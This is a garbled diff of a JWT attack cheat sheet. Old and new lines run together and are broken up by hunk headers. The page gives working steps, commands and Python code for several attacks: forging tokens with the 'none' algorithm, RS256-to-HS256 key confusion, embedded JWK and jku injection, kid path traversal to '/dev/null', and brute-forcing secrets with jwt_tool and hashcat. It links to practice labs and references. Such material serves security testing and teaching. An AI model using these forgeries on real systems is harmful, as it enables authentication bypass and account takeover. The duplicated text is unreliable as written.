Invalid signature. Expected SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c got 9twuPVu9Wj3PBneGw1ctrf3knr7RX12v-UwocfLhXIs Invalid signature. Expected SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c got 9twuPVu9Wj3PBneGw1ctrf3knr7RX12v-UwocfLhXIs
Invalid signature. Expected 8Qh5lJ5gSaQylkSdaCIDBoOqKzhoJ0Nutkkap8RgB1Y= got 8Qh5lJ5gSaQylkSdaCIDBoOqKzhoJ0Nutkkap8RgBOo= Invalid signature. Expected 8Qh5lJ5gSaQylkSdaCIDBoOqKzhoJ0Nutkkap8RgB1Y= got 8Qh5lJ5gSaQylkSdaCIDBoOqKzhoJ0Nutkkap8RgBOo=
``` ```
### JWT Signature - None Algorithm (CVE-2015-9235) ### JWT Signature - None Algorithm (CVE-2015-9235)
JWT supports a `None` algorithm for signature. This was probably introduced to debug applications. However, this can have a severe impact on the security of the application. JWT supports a `None` algorithm for signature. This was probably introduced to debug applications. However, this can have a severe impact on the security of the application.
None algorithm variants: None algorithm variants:
* none
* None - `none`
* NONE - `None`
* nOnE - `NONE`
- `nOnE`
To exploit this vulnerability, you just need to decode the JWT and change the algorithm used for the signature. Then you can submit your new JWT. However, this won't work unless you **remove** the signature To exploit this vulnerability, you just need to decode the JWT and change the algorithm used for the signature. Then you can submit your new JWT. However, this won't work unless you **remove** the signature
Alternatively you can modify an existing JWT (be careful with the expiration time) Alternatively you can modify an existing JWT (be careful with the expiration time)
* Using [ticarpi/jwt_tool](#) - Using [ticarpi/jwt_tool](https://github.com/ticarpi/jwt_tool)
```ps1 ```ps1
python3 jwt_tool.py [JWT_HERE] -X a python3 jwt_tool.py [JWT_HERE] -X a
``` ```
* Manually editing the JWT - Manually editing the JWT
```python ```python
import jwt import jwt
jwtToken = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXUyJ9.eyJsb2dpbiI6InRlc3QiLCJpYXQiOiIxNTA3NzU1NTcwIn0.YWUyMGU4YTI2ZGEyZTQ1MzYzOWRkMjI5YzIyZmZhZWM0NmRlMWVhNTM3NTQwYWY2MGU5ZGMwNjBmMmU1ODQ3OQ' jwtToken = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXUyJ9.eyJsb2dpbiI6InRlc3QiLCJpYXQiOiIxNTA3NzU1NTcwIn0.YWUyMGU4YTI2ZGEyZTQ1MzYzOWRkMjI5YzIyZmZhZWM0NmRlMWVhNTM3NTQwYWY2MGU5ZGMwNjBmMmU1ODQ3OQ'
decodedToken = jwt.decode(jwtToken, verify=False) decodedToken = jwt.decode(jwtToken, verify=False)
# decode the token before encoding with type 'None' # decode the token before encoding with type 'None'
noneEncoded = jwt.encode(decodedToken, key='', algorithm=None) noneEncoded = jwt.encode(decodedToken, key='', algorithm=None)
@@ -185,7 +183,6 @@ Alternatively you can modify an existing JWT (be careful with the expiration tim
print(noneEncoded.decode()) print(noneEncoded.decode())
``` ```
### JWT Signature - Key Confusion Attack RS256 to HS256 (CVE-2016-5431) ### JWT Signature - Key Confusion Attack RS256 to HS256 (CVE-2016-5431)
If a servers code is expecting a token with "alg" set to RSA, but receives a token with "alg" set to HMAC, it may inadvertently use the public key as the HMAC symmetric key when verifying the signature. If a servers code is expecting a token with "alg" set to RSA, but receives a token with "alg" set to HMAC, it may inadvertently use the public key as the HMAC symmetric key when verifying the signature.
@@ -204,11 +201,13 @@ print jwt.encode({"data":"test"}, key=public, algorithm='HS256')
:warning: This behavior is fixed in the python library and will return this error `jwt.exceptions.InvalidKeyError: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC secret.`. You need to install the following version: `pip install pyjwt==0.4.3`. :warning: This behavior is fixed in the python library and will return this error `jwt.exceptions.InvalidKeyError: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC secret.`. You need to install the following version: `pip install pyjwt==0.4.3`.
* Using [ticarpi/jwt_tool](#) - Using [ticarpi/jwt_tool](https://github.com/ticarpi/jwt_tool)
```ps1 ```ps1
python3 jwt_tool.py JWT_HERE -X k -pk my_public.pem python3 jwt_tool.py JWT_HERE -X k -pk my_public.pem
``` ```
* Using [portswigger/JWT Editor](https://portswigger.net/bappstore/26aaa5ded2f74beea19e2ed8345a93dd)
- Using [portswigger/JWT Editor](https://portswigger.net/bappstore/26aaa5ded2f74beea19e2ed8345a93dd)
1. Find the public key, usually in `/jwks.json` or `/.well-known/jwks.json` 1. Find the public key, usually in `/jwks.json` or `/.well-known/jwks.json`
2. Load it in the JWT Editor Keys tab, click `New RSA Key`. 2. Load it in the JWT Editor Keys tab, click `New RSA Key`.
3. . In the dialog, paste the JWK that you obtained earlier: `{"kty":"RSA","e":"AQAB","use":"sig","kid":"961a...85ce","alg":"RS256","n":"16aflvW6...UGLQ"}` 3. . In the dialog, paste the JWK that you obtained earlier: `{"kty":"RSA","e":"AQAB","use":"sig","kid":"961a...85ce","alg":"RS256","n":"16aflvW6...UGLQ"}`
@@ -219,7 +218,7 @@ print jwt.encode({"data":"test"}, key=public, algorithm='HS256')
8. Edit the JWT token alg to `HS256` and the data. 8. Edit the JWT token alg to `HS256` and the data.
9. Click `Sign` and keep the option: `Don't modify header` 9. Click `Sign` and keep the option: `Don't modify header`
* Manually using the following steps to edit an RS256 JWT token into an HS256 - Manually using the following steps to edit an RS256 JWT token into an HS256
1. Convert our public key (key.pem) into HEX with this command. 1. Convert our public key (key.pem) into HEX with this command.
```powershell ```powershell
@@ -238,7 +237,7 @@ print jwt.encode({"data":"test"}, key=public, algorithm='HS256')
3. Convert signature (Hex to "base64 URL") 3. Convert signature (Hex to "base64 URL")
```powershell ```powershell
$ python2 -c "exec(\"import base64, binascii\nprint base64.urlsafe_b64encode(binascii.a2b_hex('8f421b351eb61ff226df88d526a7e9b9bb7b8239688c1f862f261a0c588910e0')).replace('=','')\")" python2 -c "exec(\"import base64, binascii\nprint base64.urlsafe_b64encode(binascii.a2b_hex('8f421b351eb61ff226df88d526a7e9b9bb7b8239688c1f862f261a0c588910e0')).replace('=','')\")"
``` ```
4. Add signature to edited payload 4. Add signature to edited payload
@@ -248,23 +247,25 @@ print jwt.encode({"data":"test"}, key=public, algorithm='HS256')
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IjIzIiwidXNlcm5hbWUiOiJ2aXNpdG9yIiwicm9sZSI6IjEifQ.j0IbNR62H_Im34jVJqfpubt7gjlojB-GLyYaDFiJEOA eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IjIzIiwidXNlcm5hbWUiOiJ2aXNpdG9yIiwicm9sZSI6IjEifQ.j0IbNR62H_Im34jVJqfpubt7gjlojB-GLyYaDFiJEOA
``` ```
### JWT Signature - Key Injection Attack (CVE-2018-0114) ### JWT Signature - Key Injection Attack (CVE-2018-0114)
> A vulnerability in the Cisco node-jose open source library before 0.11.0 could allow an unauthenticated, remote attacker to re-sign tokens using a key that is embedded within the token. The vulnerability is due to node-jose following the JSON Web Signature (JWS) standard for JSON Web Tokens (JWTs). This standard specifies that a JSON Web Key (JWK) representing a public key can be embedded within the header of a JWS. This public key is then trusted for verification. An attacker could exploit this by forging valid JWS objects by removing the original signature, adding a new public key to the header, and then signing the object using the (attacker-owned) private key associated with the public key embedded in that JWS header. > A vulnerability in the Cisco node-jose open source library before 0.11.0 could allow an unauthenticated, remote attacker to re-sign tokens using a key that is embedded within the token. The vulnerability is due to node-jose following the JSON Web Signature (JWS) standard for JSON Web Tokens (JWTs). This standard specifies that a JSON Web Key (JWK) representing a public key can be embedded within the header of a JWS. This public key is then trusted for verification. An attacker could exploit this by forging valid JWS objects by removing the original signature, adding a new public key to the header, and then signing the object using the (attacker-owned) private key associated with the public key embedded in that JWS header.
**Exploit**: **Exploit**:
* Using [ticarpi/jwt_tool]
- Using [ticarpi/jwt_tool](https://github.com/ticarpi/jwt_tool)
```ps1 ```ps1
python3 jwt_tool.py [JWT_HERE] -X i python3 jwt_tool.py [JWT_HERE] -X i
``` ```
* Using [portswigger/JWT Editor](#)
- Using [portswigger/JWT Editor](https://portswigger.net/bappstore/26aaa5ded2f74beea19e2ed8345a93dd)
1. Add a `New RSA key` 1. Add a `New RSA key`
2. In the JWT's Repeater tab, edit data 2. In the JWT's Repeater tab, edit data
3. `Attack` > `Embedded JWK` 3. `Attack` > `Embedded JWK`
**Deconstructed**: **Deconstructed**:
```json ```json
{ {
"alg": "RS256", "alg": "RS256",
@@ -281,12 +282,12 @@ print jwt.encode({"data":"test"}, key=public, algorithm='HS256')
[Signed with new Private key; Public key injected] [Signed with new Private key; Public key injected]
``` ```
### JWT Signature - Recover Public Key From Signed JWTs ### JWT Signature - Recover Public Key From Signed JWTs
The RS256, RS384 and RS512 algorithms use RSA with PKCS#1 v1.5 padding as their signature scheme. This has the property that you can compute the public key given two different messages and accompanying signatures. The RS256, RS384 and RS512 algorithms use RSA with PKCS#1 v1.5 padding as their signature scheme. This has the property that you can compute the public key given two different messages and accompanying signatures.
[SecuraBV/jws2pubkey](https://github.com/SecuraBV/jws2pubkey): compute an RSA public key from two signed JWTs [SecuraBV/jws2pubkey](https://github.com/SecuraBV/jws2pubkey): compute an RSA public key from two signed JWTs
```ps1 ```ps1
$ docker run -it ttervoort/jws2pubkey JWS1 JWS2 $ docker run -it ttervoort/jws2pubkey JWS1 JWS2
$ docker run -it ttervoort/jws2pubkey "$(cat sample-jws/sample1.txt)" "$(cat sample-jws/sample2.txt)" | tee pubkey.jwk $ docker run -it ttervoort/jws2pubkey "$(cat sample-jws/sample1.txt)" "$(cat sample-jws/sample2.txt)" | tee pubkey.jwk
@@ -294,14 +295,14 @@ Computing public key. This may take a minute...
{"kty": "RSA", "n": "sEFRQzskiSOrUYiaWAPUMF66YOxWymrbf6PQqnCdnUla8PwI4KDVJ2XgNGg9XOdc-jRICmpsLVBqW4bag8eIh35PClTwYiHzV5cbyW6W5hXp747DQWan5lIzoXAmfe3Ydw65cXnanjAxz8vqgOZP2ptacwxyUPKqvM4ehyaapqxkBbSmhba6160PEMAr4d1xtRJx6jCYwQRBBvZIRRXlLe9hrohkblSrih8MdvHWYyd40khrPU9B2G_PHZecifKiMcXrv7IDaXH-H_NbS7jT5eoNb9xG8K_j7Hc9mFHI7IED71CNkg9RlxuHwELZ6q-9zzyCCcS426SfvTCjnX0hrQ", "e": "AQAB"} {"kty": "RSA", "n": "sEFRQzskiSOrUYiaWAPUMF66YOxWymrbf6PQqnCdnUla8PwI4KDVJ2XgNGg9XOdc-jRICmpsLVBqW4bag8eIh35PClTwYiHzV5cbyW6W5hXp747DQWan5lIzoXAmfe3Ydw65cXnanjAxz8vqgOZP2ptacwxyUPKqvM4ehyaapqxkBbSmhba6160PEMAr4d1xtRJx6jCYwQRBBvZIRRXlLe9hrohkblSrih8MdvHWYyd40khrPU9B2G_PHZecifKiMcXrv7IDaXH-H_NbS7jT5eoNb9xG8K_j7Hc9mFHI7IED71CNkg9RlxuHwELZ6q-9zzyCCcS426SfvTCjnX0hrQ", "e": "AQAB"}
``` ```
## JWT Secret ## JWT Secret
> To create a JWT, a secret key is used to sign the header and payload, which generates the signature. The secret key must be kept secret and secure to prevent unauthorized access to the JWT or tampering with its contents. If an attacker is able to access the secret key, they can create, modify or sign their own tokens, bypassing the intended security controls. > To create a JWT, a secret key is used to sign the header and payload, which generates the signature. The secret key must be kept secret and secure to prevent unauthorized access to the JWT or tampering with its contents. If an attacker is able to access the secret key, they can create, modify or sign their own tokens, bypassing the intended security controls.
### Encode and Decode JWT with the secret ### Encode and Decode JWT with the secret
* Using [ticarpi/jwt_tool](https://github.com/ticarpi/jwt_tool): - Using [ticarpi/jwt_tool](https://github.com/ticarpi/jwt_tool):
```ps1 ```ps1
jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiSm9obiBEb2UifQ.xuEv8qrfXu424LZk8bVgr9MQJUIrp1rHcPyZw_KSsds jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiSm9obiBEb2UifQ.xuEv8qrfXu424LZk8bVgr9MQJUIrp1rHcPyZw_KSsds
jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiSm9obiBEb2UifQ.xuEv8qrfXu424LZk8bVgr9MQJUIrp1rHcPyZw_KSsds -T jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiSm9obiBEb2UifQ.xuEv8qrfXu424LZk8bVgr9MQJUIrp1rHcPyZw_KSsds -T
@@ -313,7 +314,9 @@ Computing public key. This may take a minute...
Token payload values: Token payload values:
[+] name = "John Doe" [+] name = "John Doe"
``` ```
* Using [pyjwt](https://pyjwt.readthedocs.io/en/stable/): `pip install pyjwt`
- Using [pyjwt](https://pyjwt.readthedocs.io/en/stable/): `pip install pyjwt`
```python ```python
import jwt import jwt
encoded = jwt.encode({'some': 'payload'}, 'secret', algorithm='HS256') encoded = jwt.encode({'some': 'payload'}, 'secret', algorithm='HS256')
@@ -324,7 +327,6 @@ Computing public key. This may take a minute...
Useful list of 3502 public-available JWT: [wallarm/jwt-secrets/jwt.secrets.list](https://github.com/wallarm/jwt-secrets/blob/master/jwt.secrets.list), including `your_jwt_secret`, `change_this_super_secret_random_string`, etc. Useful list of 3502 public-available JWT: [wallarm/jwt-secrets/jwt.secrets.list](https://github.com/wallarm/jwt-secrets/blob/master/jwt.secrets.list), including `your_jwt_secret`, `change_this_super_secret_random_string`, etc.
#### JWT tool #### JWT tool
First, bruteforce the "secret" key used to compute the signature using [ticarpi/jwt_tool](https://github.com/ticarpi/jwt_tool) First, bruteforce the "secret" key used to compute the signature using [ticarpi/jwt_tool](https://github.com/ticarpi/jwt_tool)
@@ -375,32 +377,30 @@ Your new forged token:
[+] Standard: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNTE2MjM5MDIyfQ.xbUXlOQClkhXEreWmB3da/xtBsT0Kjw7truyhDwF5Ic [+] Standard: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNTE2MjM5MDIyfQ.xbUXlOQClkhXEreWmB3da/xtBsT0Kjw7truyhDwF5Ic
``` ```
* Recon: `python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.aqNCvShlNT9jBFTPBpHDbt2gBB1MyHiisSDdp8SQvgw` - Recon: `python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.aqNCvShlNT9jBFTPBpHDbt2gBB1MyHiisSDdp8SQvgw`
* Scanning: `python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -M pb` - Scanning: `python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -M pb`
* Exploitation: `python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -X i -I -pc name -pv admin` - Exploitation: `python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -X i -I -pc name -pv admin`
* Fuzzing: `python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -I -hc kid -hv custom_sqli_vectors.txt` - Fuzzing: `python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -I -hc kid -hv custom_sqli_vectors.txt`
* Review: `python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -X i -I -pc name -pv admin` - Review: `python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -X i -I -pc name -pv admin`
#### Hashcat #### Hashcat
> Support added to crack JWT (JSON Web Token) with hashcat at 365MH/s on a single GTX1080 - [src](https://twitter.com/hashcat/status/955154646494040065) > Support added to crack JWT (JSON Web Token) with hashcat at 365MH/s on a single GTX1080 - [src](https://twitter.com/hashcat/status/955154646494040065)
* Dictionary attack: `hashcat -a 0 -m 16500 jwt.txt wordlist.txt` - Dictionary attack: `hashcat -a 0 -m 16500 jwt.txt wordlist.txt`
* Rule-based attack: `hashcat -a 0 -m 16500 jwt.txt passlist.txt -r rules/best64.rule` - Rule-based attack: `hashcat -a 0 -m 16500 jwt.txt passlist.txt -r rules/best64.rule`
* Brute force attack: `hashcat -a 3 -m 16500 jwt.txt ?u?l?l?l?l?l?l?l -i --increment-min=6` - Brute force attack: `hashcat -a 3 -m 16500 jwt.txt ?u?l?l?l?l?l?l?l -i --increment-min=6`
## JWT Claims ## JWT Claims
[IANA's JSON Web Token Claims](https://www.iana.org/assignments/jwt/jwt.xhtml) [IANA's JSON Web Token Claims](https://www.iana.org/assignments/jwt/jwt.xhtml)
### JWT kid Claim Misuse ### JWT kid Claim Misuse
The "kid" (key ID) claim in a JSON Web Token (JWT) is an optional header parameter that is used to indicate the identifier of the cryptographic key that was used to sign or encrypt the JWT. It is important to note that the key identifier itself does not provide any security benefits, but rather it enables the recipient to locate the key that is needed to verify the integrity of the JWT. The "kid" (key ID) claim in a JSON Web Token (JWT) is an optional header parameter that is used to indicate the identifier of the cryptographic key that was used to sign or encrypt the JWT. It is important to note that the key identifier itself does not provide any security benefits, but rather it enables the recipient to locate the key that is needed to verify the integrity of the JWT.
* Example #1 : Local file - Example #1 : Local file
```json ```json
{ {
"alg": "HS256", "alg": "HS256",
@@ -409,7 +409,8 @@ The "kid" (key ID) claim in a JSON Web Token (JWT) is an optional header paramet
} }
``` ```
* Example #2 : Remote file - Example #2 : Remote file
```json ```json
{ {
"alg":"RS256", "alg":"RS256",
@@ -430,8 +431,10 @@ HMACSHA256(
``` ```
The common ways to misuse the kid header: The common ways to misuse the kid header:
* Get the key content to change the payload
* Change the key path to force your own - Get the key content to change the payload
- Change the key path to force your own
```py ```py
>>> jwt.encode( >>> jwt.encode(
... {"some": "payload"}, ... {"some": "payload"},
@@ -441,14 +444,14 @@ The common ways to misuse the kid header:
... ) ... )
``` ```
* Change the key path to a file with a predictable content. - Change the key path to a file with a predictable content.
```ps1 ```ps1
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p "" python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
python3 jwt_tool.py <JWT> -I -hc kid -hv "/proc/sys/kernel/randomize_va_space" -S hs256 -p "2" python3 jwt_tool.py <JWT> -I -hc kid -hv "/proc/sys/kernel/randomize_va_space" -S hs256 -p "2"
``` ```
* Modify the kid header to attempt SQL and Command Injections - Modify the kid header to attempt SQL and Command Injections
### JWKS - jku header injection ### JWKS - jku header injection
@@ -456,12 +459,12 @@ The common ways to misuse the kid header:
It is sometimes exposed publicly via a standard endpoint: It is sometimes exposed publicly via a standard endpoint:
* `/jwks.json` - `/jwks.json`
* `/.well-known/jwks.json` - `/.well-known/jwks.json`
* `/openid/connect/jwks.json` - `/openid/connect/jwks.json`
* `/api/keys` - `/api/keys`
* `/api/v1/keys` - `/api/v1/keys`
* [`/{tenant}/oauth2/v1/certs`](https://docs.theidentityhub.com/doc/Protocol-Endpoints/OpenID-Connect/OpenID-Connect-JWKS-Endpoint.html) - [`/{tenant}/oauth2/v1/certs`](https://docs.theidentityhub.com/doc/Protocol-Endpoints/OpenID-Connect/OpenID-Connect-JWKS-Endpoint.html)
You should create your own key pair for this attack and host it. It should look like that: You should create your own key pair for this attack and host it. It should look like that:
@@ -480,12 +483,14 @@ You should create your own key pair for this attack and host it. It should look
**Exploit**: **Exploit**:
* Using [ticarpi/jwt_tool] - Using [ticarpi/jwt_tool](https://github.com/ticarpi/jwt_tool)
```ps1 ```ps1
python3 jwt_tool.py JWT_HERE -X s python3 jwt_tool.py JWT_HERE -X s
python3 jwt_tool.py JWT_HERE -X s -ju http://example.com/jwks.json python3 jwt_tool.py JWT_HERE -X s -ju http://example.com/jwks.json
``` ```
* Using [portswigger/JWT Editor](#)
- Using [portswigger/JWT Editor](https://portswigger.net/bappstore/26aaa5ded2f74beea19e2ed8345a93dd)
1. Generate a new RSA key and host it 1. Generate a new RSA key and host it
2. Edit JWT's data 2. Edit JWT's data
3. Replace the `kid` header with the one from your JWKS 3. Replace the `kid` header with the one from your JWKS
@@ -499,32 +504,38 @@ You should create your own key pair for this attack and host it. It should look
[Signed with new Private key; Public key exported] [Signed with new Private key; Public key exported]
``` ```
## Labs
## Labs - [PortSwigger - JWT authentication bypass via unverified signature](https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-unverified-signature)
- [PortSwigger - JWT authentication bypass via flawed signature verification](https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-flawed-signature-verification)
* [JWT authentication bypass via unverified signature](https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-unverified-signature) - [PortSwigger - JWT authentication bypass via weak signing key](https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-weak-signing-key)
* [JWT authentication bypass via flawed signature verification](https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-flawed-signature-verification) - [PortSwigger - JWT authentication bypass via jwk header injection](https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-jwk-header-injection)
* [JWT authentication bypass via weak signing key](https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-weak-signing-key) - [PortSwigger - JWT authentication bypass via jku header injection](https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-jku-header-injection)
* [JWT authentication bypass via jwk header injection](https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-jwk-header-injection) - [PortSwigger - JWT authentication bypass via kid header path traversal](https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-kid-header-path-traversal)
* [JWT authentication bypass via jku header injection](https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-jku-header-injection) - [Root Me - JWT - Introduction](https://www.root-me.org/fr/Challenges/Web-Serveur/JWT-Introduction)
* [JWT authentication bypass via kid header path traversal](https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-kid-header-path-traversal) - [Root Me - JWT - Revoked token](https://www.root-me.org/en/Challenges/Web-Server/JWT-Revoked-token)
- [Root Me - JWT - Weak secret](https://www.root-me.org/en/Challenges/Web-Server/JWT-Weak-secret)
- [Root Me - JWT - Unsecure File Signature](https://www.root-me.org/en/Challenges/Web-Server/JWT-Unsecure-File-Signature)
- [Root Me - JWT - Public key](https://www.root-me.org/en/Challenges/Web-Server/JWT-Public-key)
- [Root Me - JWT - Header Injection](https://www.root-me.org/en/Challenges/Web-Server/JWT-Header-Injection)
- [Root Me - JWT - Unsecure Key Handling](https://www.root-me.org/en/Challenges/Web-Server/JWT-Unsecure-Key-Handling)
## References ## References
- [5 Easy Steps to Understanding JSON Web Token](https://medium.com/cyberverse/five-easy-steps-to-understand-json-web-tokens-jwt-7665d2ddf4d5) - [5 Easy Steps to Understanding JSON Web Token - Shaurya Sharma - December 21, 2019](https://web.archive.org/web/20210218162416/https://medium.com/cyberverse/five-easy-steps-to-understand-json-web-tokens-jwt-7665d2ddf4d5)
- [Attacking JWT authentication - Sep 28, 2016 - Sjoerd Langkemper](https://www.sjoerdlangkemper.nl/2016/09/28/attacking-jwt-authentication/) - [Attacking JWT authentication - Sjoerd Langkemper - September 28, 2016](https://web.archive.org/web/20251102094325/https://www.sjoerdlangkemper.nl/2016/09/28/attacking-jwt-authentication/)
- [Club EH RM 05 - Intro to JSON Web Token Exploitation - Nishacid](https://www.youtube.com/watch?v=d7wmUz57Nlg) - [Club EH RM 05 - Intro to JSON Web Token Exploitation - Nishacid - February 23, 2023](https://web.archive.org/web/20250914204544/https://www.youtube.com/watch?v=d7wmUz57Nlg)
- [Critical vulnerabilities in JSON Web Token libraries - March 31, 2015 - Tim McLean](https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries//) - [Critical vulnerabilities in JSON Web Token libraries - Tim McLean - March 31, 2015](https://web.archive.org/web/20260207024257/https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries/)
- [Hacking JSON Web Token (JWT) - Hate_401](https://medium.com/101-writeups/hacking-json-web-token-jwt-233fe6c862e6) - [Hacking JSON Web Token (JWT) - pwnzzzz - May 3, 2018](https://web.archive.org/web/20180509012007/https://medium.com/101-writeups/hacking-json-web-token-jwt-233fe6c862e6)
- [Hacking JSON Web Tokens - From Zero To Hero Without Effort - Websecurify Blog](https://web.archive.org/web/20220305042224/https://blog.websecurify.com/2017/02/hacking-json-web-tokens.html) - [Hacking JSON Web Tokens - From Zero To Hero Without Effort - Websecurify - February 9, 2017](https://web.archive.org/web/20220305042224/https://blog.websecurify.com/2017/02/hacking-json-web-tokens.html)
- [Hacking JSON Web Tokens - medium.com Oct 2019](https://medium.com/swlh/hacking-json-web-tokens-jwts-9122efe91e4a) - [Hacking JSON Web Tokens - Vickie Li - October 27, 2019](https://web.archive.org/web/20191028125424/https://medium.com/swlh/hacking-json-web-tokens-jwts-9122efe91e4a)
- [HITBGSEC CTF 2017 - Pasty (Web) - amon (j.heng)](https://nandynarwhals.org/hitbgsec2017-pasty/) - [HITBGSEC CTF 2017 - Pasty (Web) - amon (j.heng) - August 27, 2017](https://web.archive.org/web/20240229055017/https://nandynarwhals.org/hitbgsec2017-pasty/)
- [How to Hack a Weak JWT Implementation with a Timing Attack - Jan 7, 2017 - Tamas Polgar](https://hackernoon.com/can-timing-attack-be-a-practical-security-threat-on-jwt-signature-ba3c8340dea9) - [How to Hack a Weak JWT Implementation with a Timing Attack - Tamas Polgar - January 7, 2017](https://web.archive.org/web/20190331200826/https://hackernoon.com/can-timing-attack-be-a-practical-security-threat-on-jwt-signature-ba3c8340dea9)
- [JSON Web Token Validation Bypass in Auth0 Authentication API - Ben Knight Senior Security Consultant - April 16, 2020](https://insomniasec.com/blog/auth0-jwt-validation-bypass) - [JSON Web Token Validation Bypass in Auth0 Authentication API - Ben Knight - April 16, 2020](https://web.archive.org/web/20230104231143/https://insomniasec.com/blog/auth0-jwt-validation-bypass)
- [JSON Web Token Vulnerabilities - 0xn3va](https://0xn3va.gitbook.io/cheat-sheets/web-application/json-web-token-vulnerabilities) - [JSON Web Token Vulnerabilities - 0xn3va - March 27, 2022](https://web.archive.org/web/20260305090633/https://0xn3va.gitbook.io/cheat-sheets/web-application/json-web-token-vulnerabilities)
- [JWT Hacking 101 - TrustFoundry - Tyler Rosonke - December 8th, 2017](https://trustfoundry.net/jwt-hacking-101/) - [JWT Hacking 101 - TrustFoundry - Tyler Rosonke - December 8, 2017](https://web.archive.org/web/20190405023824/https://trustfoundry.net/jwt-hacking-101/)
- [Learn how to use JSON Web Tokens (JWT) for Authentication - @dwylhq](https://github.com/dwyl/learn-json-web-tokens) - [Learn how to use JSON Web Tokens (JWT) for Authentication - @dwylhq - May 3, 2022](https://github.com/dwyl/learn-json-web-tokens)
- [Privilege Escalation like a Boss - October 27, 2018 - janijay007](https://blog.securitybreached.org/2018/10/27/privilege-escalation-like-a-boss/) - [Privilege Escalation like a Boss - janijay007 - October 27, 2018](https://web.archive.org/web/20190723093831/https://blog.securitybreached.org/2018/10/27/privilege-escalation-like-a-boss/)
- [Simple JWT hacking - @b1ack_h00d](https://medium.com/@blackhood/simple-jwt-hacking-73870a976750) - [Simple JWT hacking - Hari Prasanth (@b1ack_h00d) - March 7, 2019](https://web.archive.org/web/20200724145838/https://medium.com/@blackhood/simple-jwt-hacking-73870a976750)
